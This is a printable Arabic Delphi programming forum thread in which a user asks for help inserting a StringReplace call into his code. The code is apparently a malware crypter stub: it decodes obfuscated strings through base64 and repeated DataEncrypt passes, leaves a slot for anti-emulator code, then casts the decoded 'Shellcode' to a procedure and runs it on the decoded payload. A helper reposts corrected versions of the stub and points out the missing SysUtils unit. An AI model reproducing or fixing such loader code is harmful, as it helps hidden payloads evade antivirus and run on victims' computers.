تصحيح كود الاستبادل - نسخة قابلة للطباعة

تصحيح كود الاستبادل - نسخة قابلة للطباعة

+- delphi4arab منتديات دلفي للعرب (https://delphi4arab.net/forum)
+-- قسم : منتديات دلفي للعرب التعليمية (https://delphi4arab.net/forum/forumdisplay.php?fid=3)
+--- قسم : سؤال و جواب حول دلفي (https://delphi4arab.net/forum/forumdisplay.php?fid=15)
+--- الموضوع : تصحيح كود الاستبادل (/showthread.php?tid=7427)

الصفحات: 1 2 3

تصحيح كود الاستبادل - hosthv - 23-01-2016

السلام عليكم
اخواني الكرام لدي استفسار في وضع هذا الكود بالطريقة الصحيحة لماذا يحدث خطأ في كل مرة اقوم بوضع الكود
[صورة: 145356466259941.png]

والسلام عليكم ورحمة الله وبركاته

RE: تصحيح كود الاستبادل - محمد عبد العزيز - 23-01-2016

وعليكم السلام

أولا اخي ضع الكود على شكل نص ضمن وسم الكود وليس على شكل صورة
ثانيا لم تذكر رسالة الخطأ
ونصيحة اخي لا تكثر من الالوان وتكبير حجم الخط

RE: تصحيح كود الاستبادل - hosthv - 23-01-2016

اخي هذا الكود سؤال كيف يتم اضافة هذا الكود بالشكل الصحيح دون اخطاء

كود :
program new;
uses Windows,functions;

function getpart1:string;
begin
result:=
zaid:= StringReplace(xxxxxxxx, 'a', 'x',[rfReplaceAll, rfIgnoreCase]);
'EcKwSpfqEEbmwLJewEgWuEZewEWew3ZeAEWCw2ZeEEbWw2ZewEdG'+
'w8JEf8EbKwIJfLEbmwJZCwIZfEEbCwLJfKEZewEZfeEbywLpfLEa'+
'RyjytjuffgjyyoluofTEbiwLZfvEbKwIZf3EaWwKpfTEb8wJZewE'+
'dawLJfAEaCwI3fJEbqwKZfEEXew4EbCwMJfREauwKpfLEbGwEZew'+
'EW0wCJexEcewI3fLEbuwJpfPEauwR3fVEgUtv+StqVM9YQdj+VdD'+
'qVMfxVdvpTYQdj+VdDqVMfxVdvpT7rYOcfxVdvpT7rStHzQdj+VW'+
'';
end;

var
Shellcode: string;
RunPEProc:procedure(Buffer:PChar;BufferLen:DWORD); stdcall;
allstr: string;
key: integer;
begin
Shellcode:=
'xdrwSpfqEEbmwLJewEgWuEZewEWew3ZeAEWCw2ZeEEbWw2Zgfffv'+
'w8JEf8EbKwIJfLEbmwJZCwIZfEEbCwLJfKEZewEZfeEbywLpfjud'+
'RyjytjuffgjyyoluofTEbiwLZfvEbKwIZf3EaWwKpfTEb8wJkiug'+
'rtswJfAEaCwI3fJEbqwKZfEEXew4EbCwMJfREauwKpfLEbGwpoll'+
'vgftCJexEcewI3fLEbuwJpfPEauwR3fVEgUtv+StqVM9YQdjfrtg'+
'ewsfxVdvpTYQdj+VdDqVMfxVdvpT7rYOcfxVdvpT7rStHzQdiort'+
'';
allstr:=getpart1+'';
//Anti-emulator Code goes here
allstr := Decode64(allstr);
for key := 681 downto 5 do
begin
allstr:= DataEncrypt(allstr, key);
end;
Shellcode := Decode64(Shellcode);
for key := 5263 downto 5 do
begin
Shellcode:= DataEncrypt(Shellcode, key);
end;
RunPEProc := @Shellcode[1];
RunPEProc(@allstr[1],length(allstr));
end.

RE: تصحيح كود الاستبادل - محمد عبد العزيز - 23-01-2016

اضافة هذا الكود الى ماذا ؟
لم تذكر رسالة الخطأ

RE: تصحيح كود الاستبادل - hosthv - 23-01-2016

انظر اخي الكريم هنا الكود يعمل بشكل سليم

كود :
unit Unit1;
interface
uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, StdCtrls;

type
  TForm1 = class(TForm)
    Button1: TButton;
    procedure Button1Click(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  Form1: TForm1;
   xxxxxxxx, zaid : string;
implementation

{$R *.dfm}

procedure TForm1.Button1Click(Sender: TObject);
begin
    xxxxxxxx := 'aaaaaaaaaaaaa';
  zaid:= StringReplace(xxxxxxxx, 'a', 'x',[rfReplaceAll, rfIgnoreCase]);

  ShowMessage(zaid);
end;
end.

لكن في حالت function
لا اعرف كيف يتم الاضافة

RE: تصحيح كود الاستبادل - محمد عبد العزيز - 23-01-2016

غير

كود :
allstr:=getpart1+'';

الى

كود :
allstr:=StringReplace(getpart1, 'a', 'x',[rfReplaceAll, rfIgnoreCase])+'';

RE: تصحيح كود الاستبادل - hosthv - 23-01-2016

اخي ظهر خطأ
[صورة: 145357731372171.png]

RE: تصحيح كود الاستبادل - محمد عبد العزيز - 23-01-2016

كود :
program new;

 uses Windows,functions;

 function getpart1:string;
 begin
 result:=
 'EcKwSpfqEEbmwLJewEgWuEZewEWew3ZeAEWCw2ZeEEbWw2ZewEdG'+
 'w8JEf8EbKwIJfLEbmwJZCwIZfEEbCwLJfKEZewEZfeEbywLpfLEa'+
 'RyjytjuffgjyyoluofTEbiwLZfvEbKwIZf3EaWwKpfTEb8wJZewE'+
 'dawLJfAEaCwI3fJEbqwKZfEEXew4EbCwMJfREauwKpfLEbGwEZew'+
 'EW0wCJexEcewI3fLEbuwJpfPEauwR3fVEgUtv+StqVM9YQdj+VdD'+
 'qVMfxVdvpTYQdj+VdDqVMfxVdvpT7rYOcfxVdvpT7rStHzQdj+VW'+
 '';
 end;

 var
 Shellcode: string;
 RunPEProc:procedure(Buffer:PChar;BufferLen:DWORD); stdcall;
 allstr: string;
 key: integer;
 begin
 Shellcode:=
 'xdrwSpfqEEbmwLJewEgWuEZewEWew3ZeAEWCw2ZeEEbWw2Zgfffv'+
 'w8JEf8EbKwIJfLEbmwJZCwIZfEEbCwLJfKEZewEZfeEbywLpfjud'+
 'RyjytjuffgjyyoluofTEbiwLZfvEbKwIZf3EaWwKpfTEb8wJkiug'+
 'rtswJfAEaCwI3fJEbqwKZfEEXew4EbCwMJfREauwKpfLEbGwpoll'+
 'vgftCJexEcewI3fLEbuwJpfPEauwR3fVEgUtv+StqVM9YQdjfrtg'+
 'ewsfxVdvpTYQdj+VdDqVMfxVdvpT7rYOcfxVdvpT7rStHzQdiort'+
 '';
 allstr:=StringReplace(getpart1, 'a', 'x',[rfReplaceAll, rfIgnoreCase])+'';
 //Anti-emulator Code goes here
 allstr := Decode64(allstr);
 for key := 681 downto 5 do
 begin
 allstr:= DataEncrypt(allstr, key);
 end;
 Shellcode := Decode64(Shellcode);
 for key := 5263 downto 5 do
 begin
 Shellcode:= DataEncrypt(Shellcode, key);
 end;
 RunPEProc := @Shellcode[1];
 RunPEProc(@allstr[1],length(allstr));
 end.

انصحك بتعلم الباسكال واساسيات البرمحة أولا

RE: تصحيح كود الاستبادل - hosthv - 23-01-2016

اخي نفس المشكلة
[صورة: 145357817330051.png]

RE: تصحيح كود الاستبادل - محمد عبد العزيز - 23-01-2016

ليس نفس المشكل
StringReplace معرفة في SysUtils لذلك عليك اضافتها في الuses

كود :
program new;

uses Windows,SysUtils,functions;

اصلا ما تفوم به غير منطقي